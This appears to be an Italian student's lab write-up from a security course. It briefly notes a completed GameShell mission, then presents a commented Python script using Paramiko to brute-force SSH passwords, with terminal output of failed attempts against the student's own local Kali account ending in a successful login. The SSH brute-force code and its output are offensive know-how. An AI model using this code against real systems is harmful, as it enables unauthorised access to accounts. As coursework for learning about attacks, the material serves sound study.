

File e directory

GameShell

Missione 18

```
~/Castle
[mission 18] $ gsh check
Congratulations, mission 18 has been successfully completed!
```

Programma in Python per Brute_Force su servizio SSH

Brute-Force su SSH

Codice programma commentato

```
import paramiko # Importiamo la libreria Paramiko che fornisce le
funzionalità per aprire una connessione SSH

def test_authentication(username, hostname, password): #definiamo
una funzione che si aspetta tre parametri relativi al nome
dell'utente, al nome dell'host o indirizzo IP del server SSH e la
password

    client = paramiko.SSHClient() #paramiko.SSHClient() è la classe
di Paramiko per stabilire una connessione SSH
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    # client.set_missing_host_key_policy serve a definire il
comportamento del client SSH quando tenta di connettersi a un server
di cui non conosce la chiave
    # AutoAddPolicy aggiunge automaticamente le nuove chiavi
sconosciute invece di rifiutare la connessione poiché la chiave non
è nota.

    try:
        client.connect(hostname, username=username,
password=password) # Tenta di connettersi al server SSH utilizzando
il nome host, il nome utente e la password specificati.
```

Prima di avviare lo script lancio il servizio SSH con il comando "sudo systemctl start ssh" e verifico lo stato con "sudo systemctl status ssh"

Da figura sotto si evince che il programma tenta le password in sequenza e si ferma appena trova quella corretta.

```
(kali⊗kali)-[~/Desktop/Visual Studio Code/W5/W8D4]

$ python W8D4BruteForceSSH.py

Authentication failed: kali:password

Authentication failed: kali:spaghetti

Authentication failed: kali:12345

Authentication failed: kali:viva

Authentication successful: kali:kali
```